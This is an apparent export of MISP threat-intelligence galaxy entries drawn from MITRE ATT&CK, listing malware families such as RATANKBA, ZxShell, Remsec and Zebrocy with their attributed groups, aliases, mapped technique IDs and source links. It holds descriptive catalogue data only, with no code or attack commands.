[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)

The tag is: misp-galaxy:mitre-malware="RATANKBA - S0241"

RATANKBA - S0241 is also known as:

RATANKBA

RATANKBA - S0241 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3237. Table References
Links
https://attack.mitre.org/software/S0241
https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/

HAPPYWORK - S0214

[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="HAPPYWORK - S0214"

HAPPYWORK - S0214 is also known as:

HAPPYWORK

HAPPYWORK - S0214 has relationships with:

similar: misp-galaxy:tool="HAPPYWORK" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3238. Table References
Links
https://attack.mitre.org/software/S0214
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

StreamEx - S0142

[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)

The tag is: misp-galaxy:mitre-malware="StreamEx - S0142"

StreamEx - S0142 is also known as:

StreamEx

StreamEx - S0142 has relationships with:

similar: misp-galaxy:tool="StreamEx" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 3239. Table References
Links
https://attack.mitre.org/software/S0142
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

Pisloader - S0124

[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)

The tag is: misp-galaxy:mitre-malware="Pisloader - S0124"

Pisloader - S0124 is also known as:

Pisloader

Pisloader - S0124 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 3240. Table References
Links
https://attack.mitre.org/software/S0124
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

ZxShell - S0412

[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 )

The tag is: misp-galaxy:mitre-malware="ZxShell - S0412"

ZxShell - S0412 is also known as:

ZxShell
Sensocode

ZxShell - S0412 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 3241. Table References
Links
https://attack.mitre.org/software/S0412
https://content.fireeye.com/apt-41/rpt-apt41
https://blogs.cisco.com/security/talos/opening-zxshell

KARAE - S0215

[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="KARAE - S0215"

KARAE - S0215 is also known as:

KARAE

KARAE - S0215 has relationships with:

similar: misp-galaxy:tool="KARAE" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 3242. Table References
Links
https://attack.mitre.org/software/S0215
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

EvilGrab - S0152

[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)

The tag is: misp-galaxy:mitre-malware="EvilGrab - S0152"

EvilGrab - S0152 is also known as:

EvilGrab

EvilGrab - S0152 has relationships with:

similar: misp-galaxy:tool="EvilGrab" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 3243. Table References
Links
https://attack.mitre.org/software/S0152
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

Remsec - S0125

[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)

The tag is: misp-galaxy:mitre-malware="Remsec - S0125"

Remsec - S0125 is also known as:

Remsec
Backdoor.Remsec
ProjectSauron

Remsec - S0125 has relationships with:

similar: misp-galaxy:malpedia="Remsec" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3244. Table References
Links
https://attack.mitre.org/software/S0125
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets
https://securelist.com/faq-the-projectsauron-apt/75533/

Zebrocy - S0251

[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)

The tag is: misp-galaxy:mitre-malware="Zebrocy - S0251"

Zebrocy - S0251 is also known as:

Zebrocy
Zekapab

Zebrocy - S0251 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

Table 3245. Table References
Links
https://attack.mitre.org/software/S0251
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/
https://www.cyberscoop.com/apt28-brexit-phishing-accenture/
https://www.accenture.com/t20181129T203820Zw/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50[https://www.accenture.com/t20181129T203820Zw/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50]

ComRAT - S0126

[ComRAT](https://attack.mitre.org/software/S0126) is a remote access tool suspected of being a decedent of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)

The tag is: misp-galaxy:mitre-malware="ComRAT - S0126"

ComRAT - S0126 is also known as:

ComRAT

ComRAT - S0126 has relationships with:

similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3246. Table References
Links
https://attack.mitre.org/software/S0126
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf

POORAIM - S0216

[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="POORAIM - S0216"

POORAIM - S0216 is also known as:

POORAIM

POORAIM - S0216 has relationships with:

similar: misp-galaxy:tool="POORAIM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3247. Table References
Links
https://attack.mitre.org/software/S0216
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

Catchamas - S0261

[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)

The tag is: misp-galaxy:mitre-malware="Catchamas - S0261"

Catchamas - S0261 is also known as:

Catchamas

Catchamas - S0261 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 3248. Table References
Links
https://attack.mitre.org/software/S0261
https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99

Komplex - S0162

[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).

The tag is: misp-galaxy:mitre-malware="Komplex - S0162"

Komplex - S0162 is also known as:

Komplex

Komplex - S0162 has relationships with:

similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 3249. Table References
Links
https://attack.mitre.org/software/S0162
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

BBSRAT - S0127

[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)

The tag is: misp-galaxy:mitre-malware="BBSRAT - S0127"

BBSRAT - S0127 is also known as:

BBSRAT

BBSRAT - S0127 has relationships with:

similar: misp-galaxy:malpedia="BBSRAT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

Table 3250. Table References
Links
https://attack.mitre.org/software/S0127
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/

KEYMARBLE - S0271

[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)

